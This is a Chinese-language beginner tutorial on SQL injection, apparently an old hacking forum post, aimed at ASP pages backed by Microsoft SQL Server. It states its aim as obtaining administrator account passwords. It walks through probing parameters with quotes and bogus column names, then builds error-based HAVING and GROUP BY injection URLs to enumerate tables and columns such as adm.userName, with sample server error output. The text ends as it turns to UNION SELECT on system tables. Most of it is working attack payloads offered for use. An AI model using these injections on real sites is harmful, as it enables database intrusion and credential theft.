利用SQL进行添加,更改,查看记录。
当一台主机台开了80端口,当你手头没有任何黑客工具,那么,偶们有SQL。
他不需要你其他东东,只要一个浏览器就够了。HOHO,偶的文章菜菜,偶写这
篇文章只是为了让一些对SQL很陌生的菜菜们看的,老鸟绕道。。。
1,什么是SQL注入?
SQL注入,就是利用欺骗的方式,通过网页的查询功能,或查询命令注入。
当用户来到网站,会提交一些数据,再到数据库进行查询,确定此用户的身份。
举个简单的例子来说吧,你去一个站点的论坛,那么,你会输入你的用户名和
密码,点“确定”,网站会通过数据库的查询来判断你是不是他们的用户,
你的用户名和密码是否正确。而利用SQL注入,通过构造特殊的语句,来查找我
们所想要得到的信息,如管理员的帐号密码。以下,小林用了http://xxx.xxx.com
来表示一个存在注入漏洞的网页。
2,助手篇,
先把IE菜单-工具-Internet选项-高级-显示友好 HTTP 错误信息前面的勾去掉。
否则,不论服务器返回什么错误,我们都只能看到“HTTP 500服务器错误”,不能获得更多的提示信息
。
3,哪些网页能利用?
我们去找一些要提交数据的网页,如:登陆页面,查找页面,添加页面等
找到后,如果你注意过网页的源代码,那么,你会发现,他上面一般有一个如下的表单:
<FORM action=login.asp method=post>
<input ........
</FORM>
这些网页,后缀如asp,jsp,cgi,php网页。
如:http://xxx.xxx.com/index.asp?id=10
上面这个例子,就是ASP页后,看到他的ID还的值了吗?是10。一般,我们找的就是这些页面
来练手了。(要做个好人噢。(^_^)像小林一样的好人。)
4,怎么测试它是存在注入漏洞的呢?这一步偶称它为“踩点”。
小林有一个毛病,看什么网页,就要顺手在参数(如上面的10)上加一个小小的引号。
http://xxx.xxx.com/index.asp?id=10
返回错误信息:
Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。
/job/grxx.asp,行141
这就是说,他用的是MsSQL数据库。这个引号,导致引号未闭合的错误。本身就是错的,因为
通常一个整数是不用在SQL里加引号的。
如果他不是一个整数而是字母呢?
http://xxx.xxx.com/index.asp?user=lamb
那我们就把引号放到lamb中间,如lamb
呵呵,又出错了吧?
这说明,站点这一部分的代码是大有问题的(当然,就算他有源码公布在网上,我也懒得看)
当然,我们也可以提交:
http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,这里的columnaaa是我乱写的)
出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name
columnaaa.
/job/grxx.asp,行27
这说明,这是一个SQL,里面没有columnaaa这个字段(我习惯说“列”)。
利用出错的信息,我们现在多少了解了这个站点的服务了吧?
5,现在开工啦,偶不喜欢猜测他的字段名,太浪费TIME了,我们要想办法让数据查询中出错。
要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUP BY 或HAVING。如:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is
invalid in the
select list because it is not contained in an aggregate function and there
is no GROUP BY
clause.
/more.asp,行27
看到article.newsid了吗?说明有一个叫article.newsid的列,因为你在用HAVING,所以你必须还要用
上GROUP BY,于是黑客就重复错误提交,直到没有得到错误。
这里要说明一下:分号在这里分离,%20 是空格,--表示后面是一个注释,也就是说只是说明,不能去
执行代码。(*_*)
下面是具体例子:
提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
得到article.newsid这真是好东西。
提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1--
得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is
invalid in the
select list because it is not contained in either an aggregate function or
the GROUP BY
clause.
/more.asp,line 20
得到:
article.title
我们反复地一个一个加上来提交。
得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is
invalid in the
select list because it is not contained in either an aggregate function or
the GROUP BY
clause.
/more.asp,line 56
这里要注意了,都到哪儿了?到下一个表了。
现在我们知道这里至少有2个表,他们的别名是:adm和article,如里面article对应的是:newsid等
title
利用系统表:
下面,我们要确定表名来加入数据。
系统表是MS-SQL 2000的一部分,名叫sysObjects table,我们将要用到查询UNION SELECT,。
要从SysObjects table 有天地拿到表名,一般使用下面语句:
SELECT name FROM sysObjects